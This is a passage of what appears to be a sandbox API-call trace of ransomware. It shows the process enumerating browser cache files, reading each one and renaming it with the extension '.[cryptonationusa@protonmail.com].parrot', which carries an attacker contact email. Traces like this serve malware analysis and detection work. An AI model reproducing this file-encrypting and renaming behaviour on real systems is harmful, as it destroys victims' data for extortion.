(HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.004] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[4]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[4]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[4].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[4].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.007] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0081.007] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbdb54b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbdb54b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.040] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfa36d90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfa36d90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbd006280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe578, dwReserved0=0x0, dwReserved1=0x0, cFileName="000000929096[1].gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="000000~1.PAR")) returned 1 [0081.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0081.040] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0081.113] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.113] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.114] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.114] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.114] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45027e90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45027e90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45027e90, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xa756, dwReserved0=0x0, dwReserved1=0x0, cFileName="19619569[1].gif", cAlternateFileName="196195~1.GIF")) returned 1 [0081.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0081.115] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.115] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.116] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.117] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa756, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa756, lpOverlapped=0x0) returned 1 [0081.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.119] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.121] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.124] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.124] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.125] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.125] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x461fe, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x461fe, lpOverlapped=0x0) returned 1 [0081.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.143] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.151] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.188] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.188] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.190] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.190] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x14d, lpOverlapped=0x0) returned 1 [0081.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.193] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.194] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.201] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.201] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.203] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.203] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x197, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x197, lpOverlapped=0x0) returned 1 [0081.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.203] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.204] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.207] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.207] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.208] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.209] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2c2, lpOverlapped=0x0) returned 1 [0081.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.209] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.209] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.212] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.212] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.214] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.214] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2c2, lpOverlapped=0x0) returned 1 [0081.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.214] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.214] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.218] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.218] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.219] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.220] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x204, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x204, lpOverlapped=0x0) returned 1 [0081.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.220] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.220] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.223] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.223] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.263] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.263] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2ed, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2ed, lpOverlapped=0x0) returned 1 [0081.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.264] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.264] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.267] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.268] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.269] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.269] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2fc, lpOverlapped=0x0) returned 1 [0081.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.270] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.270] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.273] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.273] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.274] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.274] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x340b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x340b, lpOverlapped=0x0) returned 1 [0081.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.276] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.277] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.280] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.280] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.281] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.281] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19a4, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x19a4, lpOverlapped=0x0) returned 1 [0081.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.282] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.283] MoveFileExW 